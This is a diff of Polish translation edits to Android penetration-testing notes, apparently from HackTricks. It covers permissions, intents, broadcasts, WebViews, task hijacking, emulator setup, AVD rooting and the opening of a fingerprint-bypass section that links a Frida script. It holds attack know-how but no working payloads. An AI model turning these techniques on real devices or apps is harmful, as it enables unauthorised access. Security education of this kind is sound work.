||||
Kiedy instalujesz **aplikację i prosi o uprawnienia**, aplikacja prosi o uprawnienia skonfigurowane w elementach **`uses-permission`** w pliku **AndroidManifest.xml**. Element **uses-permission** wskazuje nazwę żądanego uprawnienia w **atrybucie name**. Ma również atrybut **maxSdkVersion**, który przestaje prosić o uprawnienia w wersjach wyższych niż ta określona.\
|
||||
Należy zauważyć, że aplikacje android nie muszą prosić o wszystkie uprawnienia na początku, mogą również **prosić o uprawnienia dynamicznie**, ale wszystkie uprawnienia muszą być **zadeklarowane** w **manifeście**.
|
||||
Należy zauważyć, że aplikacje androidowe nie muszą prosić o wszystkie uprawnienia na początku, mogą również **prosić o uprawnienia dynamicznie**, ale wszystkie uprawnienia muszą być **zadeklarowane** w **manifeście**.
|
||||
|
||||
Kiedy aplikacja ujawnia funkcjonalność, może ograniczyć **dostęp tylko do aplikacji, które mają określone uprawnienie**.\
|
||||
Element uprawnienia ma trzy atrybuty:
|
||||
|
||||
- **nazwa** uprawnienia
|
||||
- Atrybut **permission-group**, który pozwala na grupowanie powiązanych uprawnień.
|
||||
- atrybut **permission-group**, który pozwala na grupowanie powiązanych uprawnień.
|
||||
- **poziom ochrony**, który wskazuje, jak przyznawane są uprawnienia. Istnieją cztery typy:
|
||||
- **Normalne**: Używane, gdy **nie ma znanych zagrożeń** dla aplikacji. Użytkownik **nie musi ich zatwierdzać**.
|
||||
- **Niebezpieczne**: Wskazuje, że uprawnienie przyznaje żądającej aplikacji pewien **podwyższony dostęp**. **Użytkownicy są proszeni o ich zatwierdzenie**.
|
||||
@ -49,7 +49,7 @@ Te aplikacje zazwyczaj znajdują się w katalogach **`/system/app`** lub **`/sys
|
||||
|
||||
## Rootowanie
|
||||
|
||||
Aby uzyskać dostęp root do fizycznego urządzenia z Androidem, zazwyczaj musisz **wykorzystać** 1 lub 2 **luki** które zazwyczaj są **specyficzne** dla **urządzenia** i **wersji**.\
|
||||
Aby uzyskać dostęp root do fizycznego urządzenia z Androidem, zazwyczaj musisz **wykorzystać** 1 lub 2 **luki**, które zazwyczaj są **specyficzne** dla **urządzenia** i **wersji**.\
|
||||
Gdy exploit zadziała, zazwyczaj binarny plik Linux `su` jest kopiowany do lokalizacji określonej w zmiennej środowiskowej PATH użytkownika, takiej jak `/system/xbin`.
|
||||
|
||||
Gdy binarny plik su jest skonfigurowany, używana jest inna aplikacja Android do interakcji z binarnym plikiem `su` i **przetwarzania żądań dostępu root**, takich jak **Superuser** i **SuperSU** (dostępne w sklepie Google Play).
|
||||
@ -101,26 +101,26 @@ Dla inżynierii odwrotnej, **Smali** staje się kluczowe. To czytelna dla człow
|
||||
|
||||
Intencje są głównym sposobem, w jaki aplikacje Android komunikują się między swoimi komponentami lub z innymi aplikacjami. Te obiekty wiadomości mogą również przenosić dane między aplikacjami lub komponentami, podobnie jak żądania GET/POST w komunikacji HTTP.
|
||||
|
||||
Tak więc intencja to zasadniczo **wiadomość, która jest przekazywana między komponentami**. Intencje **mogą być kierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez konkretnego odbiorcy**.\
|
||||
Aby uprościć, intencja może być używana:
|
||||
Intencja to zasadniczo **wiadomość, która jest przekazywana między komponentami**. Intencje **mogą być kierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez konkretnego odbiorcy**.\
|
||||
Prosto mówiąc, intencja może być używana:
|
||||
|
||||
- Do uruchamiania aktywności, zazwyczaj otwierając interfejs użytkownika dla aplikacji
|
||||
- Aby uruchomić aktywność, zazwyczaj otwierając interfejs użytkownika dla aplikacji
|
||||
- Jako transmisje, aby informować system i aplikacje o zmianach
|
||||
- Do uruchamiania, zatrzymywania i komunikowania się z usługą w tle
|
||||
- Do uzyskiwania dostępu do danych za pośrednictwem ContentProviders
|
||||
- Aby uruchomić, zatrzymać i komunikować się z usługą w tle
|
||||
- Aby uzyskać dostęp do danych za pośrednictwem ContentProviders
|
||||
- Jako wywołania zwrotne do obsługi zdarzeń
|
||||
|
||||
Jeśli są podatne, **intencje mogą być używane do przeprowadzania różnych ataków**.
|
||||
|
||||
### Filtr intencji
|
||||
|
||||
**Filtry intencji** definiują **jak aktywność, usługa lub odbiornik broadcastowy mogą interagować z różnymi typami intencji**. Zasadniczo opisują one możliwości tych komponentów, takie jak jakie akcje mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Główne miejsce do deklarowania tych filtrów to plik **AndroidManifest.xml**, chociaż dla odbiorników broadcastowych, kodowanie ich również jest opcją.
|
||||
**Filtry intencji** definiują **jak aktywność, usługa lub odbiornik transmisji mogą interagować z różnymi typami intencji**. Zasadniczo opisują one możliwości tych komponentów, takie jak jakie akcje mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem do deklarowania tych filtrów jest plik **AndroidManifest.xml**, chociaż dla odbiorników transmisji, kodowanie ich również jest opcją.
|
||||
|
||||
Filtry intencji składają się z kategorii, akcji i filtrów danych, z możliwością dodania dodatkowych metadanych. Ta konfiguracja pozwala komponentom obsługiwać konkretne intencje, które pasują do zadeklarowanych kryteriów.
|
||||
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usługi/dostawcy treści/odbiorniki broadcastowe) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może interagować z innymi aplikacjami, jeśli jest **`exported`** z wartością **`true`** lub jeśli dla niego w manifeście zadeklarowano filtr intencji. Jednak istnieje sposób, aby deweloperzy wyraźnie utrzymali te komponenty prywatne, zapewniając, że nie będą interagować z innymi aplikacjami niezamierzenie. Osiąga się to poprzez ustawienie atrybutu **`exported`** na **`false`** w ich definicjach manifestu.
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usługi/dostawcy treści/odbiorniki transmisji) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może interagować z innymi aplikacjami, jeśli jest **`exported`** z wartością **`true`** lub jeśli dla niego w manifeście zadeklarowano filtr intencji. Istnieje jednak sposób, aby deweloperzy wyraźnie utrzymali te komponenty prywatne, zapewniając, że nie będą interagować z innymi aplikacjami niezamierzenie. Osiąga się to poprzez ustawienie atrybutu **`exported`** na **`false`** w ich definicjach manifestu.
|
||||
|
||||
Ponadto, deweloperzy mają możliwość dodatkowego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`permission`** może być ustawiony, aby wymusić, że tylko aplikacje z wyznaczonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim interagować.
|
||||
Ponadto, deweloperzy mają możliwość dalszego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`permission`** może być ustawiony, aby wymusić, że tylko aplikacje z wyznaczonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim interagować.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
@ -161,7 +161,7 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
Te pozwalają innym aplikacjom **podejmować działania w imieniu twojej aplikacji**, używając tożsamości i uprawnień twojej aplikacji. Konstruując Pending Intent, należy **określić intencję i akcję do wykonania**. Jeśli **zadeklarowana intencja nie jest wyraźna** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja może wykonać zadeklarowaną akcję** w imieniu aplikacji ofiary. Ponadto, **jeśli akcja nie jest określona**, złośliwa aplikacja będzie mogła wykonać **dowolną akcję w imieniu ofiary**.
|
||||
Te pozwalają innym aplikacjom **podejmować działania w imieniu twojej aplikacji**, używając tożsamości i uprawnień twojej aplikacji. Tworząc Pending Intent, należy **określić intencję i akcję do wykonania**. Jeśli **zadeklarowana intencja nie jest Explicit** (nie określa, która intencja może ją wywołać), **złośliwa aplikacja mogłaby wykonać zadeklarowaną akcję** w imieniu aplikacji ofiary. Ponadto, **jeśli akcja nie jest określona**, złośliwa aplikacja będzie mogła wykonać **dowolną akcję w imieniu ofiary**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
@ -169,16 +169,13 @@ W przeciwieństwie do poprzednich intencji, które są odbierane tylko przez jed
|
||||
|
||||
Alternatywnie, możliwe jest również **określenie uprawnienia podczas wysyłania broadcastu**. Aplikacja odbierająca będzie musiała mieć to uprawnienie.
|
||||
|
||||
Istnieją **dwa typy** broadcastów: **Normalne** (asynchroniczne) i **Zamówione** (synchronizowane). **Kolejność** opiera się na **skonfigurowanym priorytecie w elemencie odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać broadcast.**
|
||||
Są **dwa typy** broadcastów: **Normalne** (asynchroniczne) i **Zamówione** (synchronizowane). **Kolejność** opiera się na **skonfigurowanym priorytecie w elemencie odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać broadcast.**
|
||||
|
||||
Możliwe jest **wysłanie** **broadcastu** za pomocą funkcji `sendBroadcast(intent, receiverPermission)` z klasy `Context`.\
|
||||
Możesz również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, która zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Używając tego, nie będziesz nawet musiał eksportować komponentu odbiorcy.
|
||||
Możliwe jest **wysłanie** **broadcastu** za pomocą funkcji `sendBroadcast(intent, receiverPermission)` z klasy `Context`.\ Możesz również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, która zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Używając tego, nie będziesz nawet musiał eksportować komponentu odbiorcy.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
Ten rodzaj broadcastów **może być dostępny długo po ich wysłaniu**.\
|
||||
Zostały one wycofane w poziomie API 21 i zaleca się **nie używać ich**.\
|
||||
**Pozwalają one każdej aplikacji na podsłuchiwanie danych, ale także na ich modyfikację.**
|
||||
Ten rodzaj broadcastów **może być dostępny długo po ich wysłaniu**.\ Zostały one wycofane w poziomie API 21 i zaleca się **nie używać ich**.\ **Pozwalają one każdej aplikacji na podsłuchiwanie danych, ale także na ich modyfikację.**
|
||||
|
||||
Jeśli znajdziesz funkcje zawierające słowo "sticky", takie jak **`sendStickyBroadcast`** lub **`sendStickyBroadcastAsUser`**, **sprawdź wpływ i spróbuj je usunąć**.
|
||||
|
||||
@ -213,7 +210,7 @@ Aby uzyskać do niego dostęp z sieci, można ustawić link jak:
|
||||
```
|
||||
Aby znaleźć **kod, który będzie wykonywany w aplikacji**, przejdź do aktywności wywoływanej przez deeplink i poszukaj funkcji **`onNewIntent`**.
|
||||
|
||||
Dowiedz się, jak [wywoływać głębokie linki bez użycia stron HTML](./#exploiting-schemes-deep-links).
|
||||
Dowiedz się, jak [wywoływać deep linki bez użycia stron HTML](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
@ -221,7 +218,7 @@ Dowiedz się, jak [wywoływać głębokie linki bez użycia stron HTML](./#explo
|
||||
|
||||
### Kluczowe pojęcia
|
||||
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie z usługą, składanie żądań i otrzymywanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem do przeglądu bezpieczeństwa w poszukiwaniu luk.
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie z usługą, składanie żądań i otrzymywanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem przeglądu bezpieczeństwa w poszukiwaniu luk.
|
||||
|
||||
- **Messenger**: Działając jako usługa powiązana, Messenger ułatwia IPC z naciskiem na przetwarzanie danych poprzez metodę `onBind`. Ważne jest, aby dokładnie sprawdzić tę metodę pod kątem niebezpiecznego przetwarzania danych lub wykonywania wrażliwych funkcji.
|
||||
|
||||
@ -229,7 +226,7 @@ Dowiedz się, jak [wywoływać głębokie linki bez użycia stron HTML](./#explo
|
||||
|
||||
## Komponenty
|
||||
|
||||
Obejmują: **Aktywności, Usługi, Odbiorniki Rozgłoszeniowe i Dostawcy.**
|
||||
Należą do nich: **Aktywności, Usługi, Odbiorniki Rozgłoszeniowe i Dostawcy.**
|
||||
|
||||
### Aktywność uruchamiająca i inne aktywności
|
||||
|
||||
@ -256,7 +253,7 @@ Cykl życia aktywności **zaczyna się od metody onCreate**, która ustawia inte
|
||||
|
||||
### Podklasa Aplikacji
|
||||
|
||||
W rozwoju Androida aplikacja ma możliwość stworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą, która jest instancjonowana w aplikacji. Metoda **`attachBaseContext`**, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Ta konfiguracja pozwala na wczesną inicjalizację przed rozpoczęciem reszty aplikacji.
|
||||
W rozwoju Androida aplikacja ma możliwość stworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą, która jest instancjonowana w aplikacji. Metoda **`attachBaseContext`**, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Ta konfiguracja pozwala na wczesną inicjalizację przed rozpoczęciem działania reszty aplikacji.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
@ -274,11 +271,11 @@ super.onCreate();
|
||||
```
|
||||
### Usługi
|
||||
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle**, które mogą wykonywać zadania bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet wtedy, gdy użytkownicy przełączają się na inne aplikacje, co sprawia, że usługi są kluczowe dla **długoterminowych operacji**.
|
||||
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle**, które mogą wykonywać zadania bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet wtedy, gdy użytkownicy przełączają się na inne aplikacje, co czyni usługi kluczowymi dla **długoterminowych operacji**.
|
||||
|
||||
Usługi są wszechstronne; mogą być inicjowane na różne sposoby, przy czym **Intents** są główną metodą ich uruchamiania jako punkt wejścia aplikacji. Gdy usługa jest uruchamiana za pomocą metody `startService`, jej metoda `onStart` zaczyna działać i działa aż do momentu, gdy metoda `stopService` zostanie wywołana. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia klienta, używa się metody `bindService` do powiązania klienta z usługą, angażując metodę `onBind` do przesyłania danych.
|
||||
Usługi są wszechstronne; mogą być inicjowane na różne sposoby, przy czym **Intents** są główną metodą ich uruchamiania jako punkt wejścia aplikacji. Gdy usługa jest uruchamiana za pomocą metody `startService`, jej metoda `onStart` zaczyna działać i działa aż do momentu, gdy metoda `stopService` zostanie wywołana. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia z klientem, używa się metody `bindService` do powiązania klienta z usługą, angażując metodę `onBind` do przesyłania danych.
|
||||
|
||||
Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto usługi mogą być udostępniane innym procesom na tym samym urządzeniu poprzez **eksportowanie**. Nie jest to domyślne zachowanie i wymaga wyraźnej konfiguracji w pliku Android Manifest:
|
||||
Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępniane innym procesom na tym samym urządzeniu poprzez **eksportowanie**. Nie jest to domyślne zachowanie i wymaga wyraźnej konfiguracji w pliku Android Manifest:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
@ -298,7 +295,7 @@ Aby zrozumieć funkcjonalność odbiornika, należy poszukać metody **`onReceiv
|
||||
|
||||
Walidacja danych jest kluczowa, aby zapobiec lukom w zabezpieczeniach, takim jak SQL injection. Content Providers wspierają podstawowe operacje: `insert()`, `update()`, `delete()`, i `query()`, ułatwiając manipulację danymi i ich udostępnianie między aplikacjami.
|
||||
|
||||
**FileProvider**, specjalizowany Content Provider, koncentruje się na bezpiecznym udostępnianiu plików. Jest definiowany w manifeście aplikacji z określonymi atrybutami do kontrolowania dostępu do folderów, oznaczonymi przez `android:exported` i `android:resource` wskazującymi na konfiguracje folderów. Należy zachować ostrożność przy udostępnianiu katalogów, aby uniknąć przypadkowego ujawnienia wrażliwych danych.
|
||||
**FileProvider**, wyspecjalizowany Content Provider, koncentruje się na bezpiecznym udostępnianiu plików. Jest definiowany w manifeście aplikacji z określonymi atrybutami do kontrolowania dostępu do folderów, oznaczonymi przez `android:exported` i `android:resource` wskazującymi na konfiguracje folderów. Należy zachować ostrożność przy udostępnianiu katalogów, aby uniknąć przypadkowego ujawnienia wrażliwych danych.
|
||||
|
||||
Przykład deklaracji manifestu dla FileProvider:
|
||||
```xml
|
||||
@ -323,7 +320,7 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji Android, pobierające treści z sieci lub z lokalnych plików. Stają w obliczu podobnych ryzyk jak zwykłe przeglądarki, jednak istnieją sposoby na **zmniejszenie tych ryzyk** poprzez konkretne **ustawienia**.
|
||||
WebViews są jak **mini przeglądarki internetowe** w aplikacjach Android, pobierające treści z sieci lub z lokalnych plików. Stają w obliczu podobnych ryzyk jak zwykłe przeglądarki, jednak istnieją sposoby na **zmniejszenie tych ryzyk** poprzez konkretne **ustawienia**.
|
||||
|
||||
Android oferuje dwa główne typy WebView:
|
||||
|
||||
@ -334,7 +331,7 @@ Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą się ciastecz
|
||||
|
||||
Do ładowania treści dostępne są metody takie jak `loadUrl`, `loadData` i `loadDataWithBaseURL`. Ważne jest, aby upewnić się, że te adresy URL lub pliki są **bezpieczne do użycia**. Ustawienia bezpieczeństwa można zarządzać za pomocą klasy `WebSettings`. Na przykład, wyłączenie JavaScript za pomocą `setJavaScriptEnabled(false)` może zapobiec atakom XSS.
|
||||
|
||||
JavaScript "Bridge" pozwala obiektom Java na interakcję z JavaScript, wymagając, aby metody były oznaczone jako `@JavascriptInterface` dla bezpieczeństwa od Androida 4.2 wzwyż.
|
||||
JavaScript "Bridge" pozwala obiektom Java wchodzić w interakcje z JavaScript, wymagając, aby metody były oznaczone jako `@JavascriptInterface` dla bezpieczeństwa od Androida 4.2 wzwyż.
|
||||
|
||||
Zezwolenie na dostęp do treści (`setAllowContentAccess(true)`) pozwala WebView na dostęp do Content Providers, co może stanowić ryzyko, chyba że adresy URL treści są weryfikowane jako bezpieczne.
|
||||
|
||||
@ -350,7 +347,7 @@ Aby kontrolować dostęp do plików:
|
||||
|
||||
### **Weryfikacja aplikacji dla zwiększonego bezpieczeństwa**
|
||||
|
||||
- Począwszy od **Androida 4.2**, funkcja zwana **Weryfikacja aplikacji** pozwala użytkownikom na sprawdzenie aplikacji pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzegać użytkowników przed potencjalnie szkodliwymi aplikacjami lub nawet zapobiegać instalacji szczególnie złośliwych, zwiększając bezpieczeństwo użytkowników.
|
||||
- Począwszy od **Androida 4.2**, funkcja zwana **Weryfikacja aplikacji** pozwala użytkownikom sprawdzać aplikacje pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzegać użytkowników przed potencjalnie szkodliwymi aplikacjami lub nawet zapobiegać instalacji szczególnie złośliwych, zwiększając bezpieczeństwo użytkowników.
|
||||
|
||||
### **Zarządzanie urządzeniami mobilnymi (MDM)**
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Zadania, Stos Wsteczny i Aktywności w Pierwszym Planie
|
||||
## Zadanie, Stos Wsteczny i Aktywności w Pierwszym Planie
|
||||
|
||||
W Androidzie, **zadanie** to zasadniczo zestaw aktywności, z którymi użytkownicy wchodzą w interakcję, aby wykonać określone zadanie, zorganizowane w **stos wsteczny**. Stos ten porządkuje aktywności na podstawie momentu ich otwarcia, z najnowszą aktywnością wyświetlaną na górze jako **aktywność w pierwszym planie**. W każdej chwili tylko ta aktywność jest widoczna na ekranie, co czyni ją częścią **zadania w pierwszym planie**.
|
||||
|
||||
@ -23,7 +23,7 @@ W aplikacjach Android, **afinity zadania** określa preferowane zadanie aktywno
|
||||
|
||||
### Tryby uruchamiania
|
||||
|
||||
Atrybut `launchMode` kieruje obsługą instancji aktywności w zadaniach. Tryb **singleTask** jest kluczowy dla tego ataku, dyktując trzy scenariusze w oparciu o istniejące instancje aktywności i dopasowania afinity zadania. Wykorzystanie opiera się na zdolności aplikacji atakującego do naśladowania afinity zadania aplikacji docelowej, wprowadzając system Android w błąd, aby uruchomić aplikację atakującego zamiast zamierzonej aplikacji docelowej.
|
||||
Atrybut `launchMode` kieruje obsługą instancji aktywności w ramach zadań. Tryb **singleTask** jest kluczowy dla tego ataku, dyktując trzy scenariusze w oparciu o istniejące instancje aktywności i dopasowania afinity zadania. Wykorzystanie opiera się na zdolności aplikacji atakującego do naśladowania afinity zadania aplikacji docelowej, wprowadzając system Android w błąd, aby uruchomił aplikację atakującego zamiast zamierzonej.
|
||||
|
||||
### Szczegółowe kroki ataku
|
||||
|
||||
@ -37,7 +37,7 @@ Aby uzyskać praktyczną implementację tego ataku, zapoznaj się z repozytorium
|
||||
|
||||
### Środki zapobiegawcze
|
||||
|
||||
Aby zapobiec takim atakom, deweloperzy mogą ustawić `taskAffinity` na pusty ciąg i wybrać tryb uruchamiania `singleInstance`, zapewniając izolację swojej aplikacji od innych. Dostosowanie funkcji `onBackPressed()` oferuje dodatkową ochronę przed przejęciem zadań.
|
||||
Aby zapobiec takim atakom, deweloperzy mogą ustawić `taskAffinity` na pusty ciąg i wybrać tryb uruchamiania `singleInstance`, zapewniając izolację ich aplikacji od innych. Dostosowanie funkcji `onBackPressed()` oferuje dodatkową ochronę przed przejęciem zadań.
|
||||
|
||||
## **Referencje**
|
||||
|
||||
|
@ -26,9 +26,9 @@ Z **Bytecode-Viewer** możesz analizować pliki APK za pomocą wielu dekompilato
|
||||
|
||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||
|
||||
**Enjarify** tłumaczy bajty Dalvik na bajty Java, umożliwiając narzędziom analizy Java skuteczniejszą analizę aplikacji na Androida.
|
||||
**Enjarify** tłumaczy bajtkod Dalvik na bajtkod Java, umożliwiając narzędziom analizy Java skuteczniejszą analizę aplikacji na Androida.
|
||||
|
||||
- Aby użyć Enjarify, uruchom: `enjarify app.apk` To generuje ekwiwalent bajtów Java dla podanego APK.
|
||||
- Aby użyć Enjarify, uruchom: `enjarify app.apk` To generuje odpowiednik bajtkodu Java dla podanego APK.
|
||||
|
||||
### [CFR](https://github.com/leibnitz27/cfr)
|
||||
|
||||
|
@ -92,8 +92,8 @@ Name: Nexus 10
|
||||
OEM : Google
|
||||
[...]
|
||||
```
|
||||
Gdy zdecydujesz, jaką nazwę nadać urządzeniu, które chcesz użyć, musisz **zdecydować, który obraz Androida chcesz uruchomić na tym urządzeniu.**\
|
||||
Możesz wylistować wszystkie opcje, używając `sdkmanager`:
|
||||
Gdy zdecydujesz o nazwie urządzenia, które chcesz użyć, musisz **zdecydować, który obraz Androida chcesz uruchomić na tym urządzeniu.**\
|
||||
Możesz wylistować wszystkie opcje używając `sdkmanager`:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
```
|
||||
@ -121,7 +121,7 @@ W tym momencie zdecydowałeś, jakiego urządzenia chcesz użyć i pobrałeś ob
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
|
||||
```
|
||||
W ostatniej komendzie **stworzyłem VM o nazwie** "_AVD9_" używając **urządzenia** "_Nexus 5X_" i **obrazu Android** "_system-images;android-28;google_apis;x86_64_".\
|
||||
W ostatniej komendzie **stworzyłem VM o nazwie** "_AVD9_" używając **urządzenia** "_Nexus 5X_" oraz **obrazu Android** "_system-images;android-28;google_apis;x86_64_".\
|
||||
Teraz możesz **wyświetlić listę maszyn wirtualnych**, które stworzyłeś za pomocą:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
|
||||
@ -139,7 +139,7 @@ Error: Google pixel_2 no longer exists as a device
|
||||
```
|
||||
### Uruchom Maszynę Wirtualną
|
||||
|
||||
Już widzieliśmy, jak możesz wylistować utworzone maszyny wirtualne, ale **możesz je również wylistować używając**:
|
||||
Już widzieliśmy, jak możesz wyświetlić listę utworzonych maszyn wirtualnych, ale **możesz je również wyświetlić za pomocą**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
|
||||
AVD9
|
||||
@ -156,9 +156,9 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
||||
```
|
||||
### Opcje wiersza poleceń
|
||||
|
||||
Jednak istnieje **wiele różnych przydatnych opcji wiersza poleceń**, które możesz wykorzystać do uruchomienia maszyny wirtualnej. Poniżej znajdziesz kilka interesujących opcji, ale możesz [**znaleźć pełną listę tutaj**](https://developer.android.com/studio/run/emulator-commandline)
|
||||
Jednak istnieje **wiele różnych przydatnych opcji wiersza poleceń**, które możesz użyć do uruchomienia maszyny wirtualnej. Poniżej znajdziesz kilka interesujących opcji, ale możesz [**znaleźć pełną listę tutaj**](https://developer.android.com/studio/run/emulator-commandline)
|
||||
|
||||
**Uruchomienie**
|
||||
**Uruchamianie**
|
||||
|
||||
- `-snapshot name` : Uruchom snapshot VM
|
||||
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Wyświetl wszystkie zarejestrowane snapshoty
|
||||
@ -173,19 +173,19 @@ Jednak istnieje **wiele różnych przydatnych opcji wiersza poleceń**, które m
|
||||
|
||||
**System**
|
||||
|
||||
- `-selinux {disabled|permissive}` : Ustaw moduł zabezpieczeń Security-Enhanced Linux na tryb wyłączony lub zezwalający na działanie w systemie operacyjnym Linux.
|
||||
- `-selinux {disabled|permissive}` : Ustaw moduł zabezpieczeń Security-Enhanced Linux na tryb wyłączony lub zezwalający w systemie operacyjnym Linux.
|
||||
- `-timezone Europe/Paris` : Ustaw strefę czasową dla urządzenia wirtualnego
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : Ustaw emulowany tryb ekranu dotykowego.
|
||||
- **`-writable-system`** : Użyj tej opcji, aby mieć zapisywalny obraz systemu podczas sesji emulacji. Będziesz musiał również uruchomić `adb root; adb remount`. To jest bardzo przydatne do zainstalowania nowego certyfikatu w systemie.
|
||||
|
||||
## Rootowanie urządzenia z Play Store
|
||||
|
||||
Jeśli pobrałeś urządzenie z Play Store, nie będziesz mógł uzyskać dostępu do roota bezpośrednio i otrzymasz ten komunikat o błędzie
|
||||
Jeśli pobrałeś urządzenie z Play Store, nie będziesz mógł uzyskać roota bezpośrednio i otrzymasz ten komunikat o błędzie
|
||||
```
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
Używając [rootAVD](https://github.com/newbit1/rootAVD) z [Magisk](https://github.com/topjohnwu/Magisk) udało mi się uzyskać dostęp root (zobacz na przykład [**ten film**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **lub** [**ten**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
Używając [rootAVD](https://github.com/newbit1/rootAVD) z [Magisk](https://github.com/topjohnwu/Magisk), udało mi się uzyskać dostęp root (zobacz na przykład [**ten film**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **lub** [**ten**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
|
||||
## Zainstaluj certyfikat Burp
|
||||
|
||||
|
@ -2,9 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pogłęb swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
## **Metoda 1 – Ominięcie bez użycia obiektu Crypto**
|
||||
|
||||
Skupiamy się tutaj na wywołaniu _onAuthenticationSucceeded_, które jest kluczowe w procesie uwierzytelniania. Badacze z WithSecure opracowali [skrypt Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), umożliwiający ominięcie NULL _CryptoObject_ w _onAuthenticationSucceeded(...)_. Skrypt wymusza automatyczne ominięcie uwierzytelniania odciskiem palca po wywołaniu metody. Poniżej znajduje się uproszczony fragment demonstrujący ominięcie w kontekście odcisku palca w Androidzie, a pełna aplikacja jest dostępna na [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
